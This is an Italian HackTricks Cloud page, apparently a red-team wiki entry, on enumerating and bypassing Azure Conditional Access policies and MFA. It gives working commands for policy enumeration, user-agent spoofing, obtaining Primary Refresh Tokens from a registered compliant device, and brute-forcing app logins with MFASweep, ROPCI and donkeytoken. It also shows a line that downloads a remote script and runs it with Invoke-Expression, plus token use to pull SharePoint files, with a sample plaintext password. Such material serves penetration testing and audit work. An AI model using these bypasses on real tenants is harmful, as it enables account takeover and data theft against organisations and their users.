Az - Conditional Access Policies & MFA Bypass
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Informazioni di base
Le Azure Conditional Access policies sono regole configurate in Microsoft Azure per applicare controlli di accesso ai servizi e alle applicazioni Azure basati su certe condizioni. Queste policy aiutano le organizzazioni a proteggere le loro risorse applicando i controlli di accesso appropriati nelle giuste circostanze.
Le Conditional Access policies definiscono fondamentalmente Chi può accedere a Cosa da Dove e Come.
Ecco un paio di esempi:
- Sign-In Risk Policy: Questa policy può essere configurata per richiedere multi-factor authentication (MFA) quando viene rilevato un rischio di sign-in. Per esempio, se il comportamento di login di un utente è insolito rispetto al suo modello abituale, come lâaccesso da un paese diverso, il sistema può richiedere unâautenticazione aggiuntiva.
- Device Compliance Policy: Questa policy può limitare lâaccesso ai servizi Azure solo ai dispositivi conformi agli standard di sicurezza dellâorganizzazione. Per esempio, lâaccesso potrebbe essere consentito solo da dispositivi che hanno antivirus aggiornato o che eseguono una certa versione del sistema operativo.
Enumerazione
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Bypass delle Conditional Access Policies
Ă possibile che una conditional access policy stia controllando alcune informazioni che possono essere facilmente manomesse permettendo un bypass della policy. E se per esempio la policy richiedeva MFA, lâattaccante sarĂ in grado di bypassarla.
Quando si configura una conditional access policy è necessario indicare gli utenti interessati e le risorse target (come all cloud apps).
Ă anche necessario configurare le condizioni che attiveranno la policy:
- Network: IP, IP ranges e posizioni geografiche
- Può essere bypassata usando una VPN o un Proxy per connettersi da un paese consentito o riuscendo a effettuare il login da un IP consentito
- Microsoft risks: User risk, Sign-in risk, Insider risk
- Device platforms: Any device o selezionare Android, iOS, Windows phone, Windows, macOS, Linux
- Se âAny deviceâ non è selezionato ma tutte le altre opzioni lo sono, è possibile bypassarla usando un random user-agent non correlato a quelle piattaforme
- Client apps: Le opzioni sono âBrowserâ, âMobiles apps and desktop clientsâ, âExchange ActiveSync clientsâ e âOther clientsâ
- Per bypassare il login usando unâopzione non selezionata
- Filter for devices: Ă possibile generare una regola relativa al dispositivo utilizzato
- Authentication flows: Le opzioni sono âDevice code flowâ e âAuthentication transferâ
- Questo non influenzerĂ un attaccante a meno che non stia cercando di abusare uno di quei protocolli in un tentativo di phishing per accedere allâaccount della vittima
I possibili risultati sono: Block o Grant access con potenziali condizioni come richiedere MFA, dispositivo compliantâŚ
Piattaforme dispositivo - Condizione del dispositivo
Ă possibile impostare una condizione basata sulla device platform (Android, iOS, Windows, macOSâŚ), tuttavia questo si basa sul user-agent quindi è facile da bypassare. Anche forzando MFA per tutte le opzioni, se usi un user-agent che non viene riconosciuto, sarai in grado di bypassare la MFA o il blocco:
.png)
Basta far sĂŹ che il browser invi un user-agent sconosciuto (come Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) per non attivare questa condizione.
Puoi cambiare il user agent manualmente negli strumenti di sviluppo:
.png)
Oppure usare una browser extension like this one.
Locations: Countries, IP ranges - Device Condition
Se questo è impostato nella conditional policy, un attaccante potrebbe semplicemente usare una VPN nel paese consentito o cercare un modo per accedere da un IP consentito per bypassare queste condizioni.
Cloud Apps
Ă possibile configurare conditional access policies per bloccare o forzare ad esempio MFA quando un utente tenta di accedere a una app specifica:
.png)
Per tentare di bypassare questa protezione dovresti verificare se puoi effettuare lâaccesso a qualsiasi applicazione.
Lo strumento AzureAppsSweep ha decine di application IDs hardcoded e proverĂ a effettuare il login su di esse, informandoti e dandoti anche il token se ha successo.
Per testare specifici application IDs in risorse specifiche puoi anche usare uno strumento come:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Moreover, itâs also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool Invoke-MFASweep perform some checks to try to bypass this protections also.
The tool donkeytoken could also be used to similar purposes although it looks unmantained.
The tool ROPCI can also be used to test this protections and see if itâs possible to bypass MFAs or blocks, but this tool works from a whitebox perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
Altri Az MFA Bypass
Suoneria
Unâopzione di Azure MFA è ricevere una chiamata sul numero di telefono configurato dove verrĂ chiesto allâutente di inviare il carattere #.
Caution
PoichĂŠ i caratteri sono solo toni, un attaccante potrebbe compromettere il messaggio della segreteria telefonica del numero di telefono, configurare come messaggio il tono del
#e poi, quando richiede lâMFA, assicurarsi che il telefono della vittima sia occupato (chiamandolo) in modo che la chiamata Azure venga reindirizzata alla segreteria.
Dispositivi conformi
Le policy spesso richiedono un dispositivo conforme o MFA, quindi un attaccante potrebbe registrare un dispositivo conforme, ottenere un PRT e bypassare in questo modo lâMFA.
Inizia registrando un dispositivo conforme in Intune, poi ottieni il PRT con:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Per maggiori informazioni su questo tipo di attacco consulta la seguente pagina:
Az - Primary Refresh Token (PRT)
Strumenti
AzureAppsSweep
Questo script raccoglie alcune credenziali utente e verifica se può effettuare il login in alcune applicazioni.
Questo è utile per verificare se non ti viene richiesta la MFA per effettuare il login in alcune applicazioni che potresti poi abusare per escalate privileges.
roadrecon
Recupera tutte le policy
roadrecon plugin policies
Invoke-MFASweep
MFASweep è uno script PowerShell che tenta di accedere a vari servizi Microsoft usando un insieme di credenziali fornite e cerca di identificare se MFA è abilitato. A seconda di come sono configurate le conditional access policies e altre impostazioni di autenticazione multi-fattore, alcuni protocolli possono rimanere a singolo fattore. Include inoltre un controllo aggiuntivo per le configurazioni ADFS e può tentare di eseguire il login al server ADFS on-prem se rilevato.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Questo strumento ha aiutato a identificare MFA bypasses e poi ad abusare delle APIs in piĂš tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicata, ma lâautenticazione basata su ROPC ha avuto successo.
Tip
Devi avere i permessi per elencare tutte le applicazioni per poter generare la lista delle app da brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token è un insieme di funzioni pensate per aiutare i consulenti di sicurezza che devono convalidare Conditional Access Policies, eseguire test su 2FA-enabled Microsoft portals, ecc..
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Testa ogni portale per verificare se è possibile effettuare il login senza MFA:
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
PoichĂŠ il Azure portal non è vincolato, è possibile ottenere un token dallâendpoint del portal per accedere a qualsiasi servizio rilevato dallâesecuzione precedente. In questo caso è stato identificato Sharepoint e viene richiesto un token per accedervi:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Supponendo che il token abbia il permesso Sites.Read.All (di Sharepoint), anche se non puoi accedere a Sharepoint dal web a causa della MFA, è possibile usare il token per accedere ai file con il token generato:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Riferimenti
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

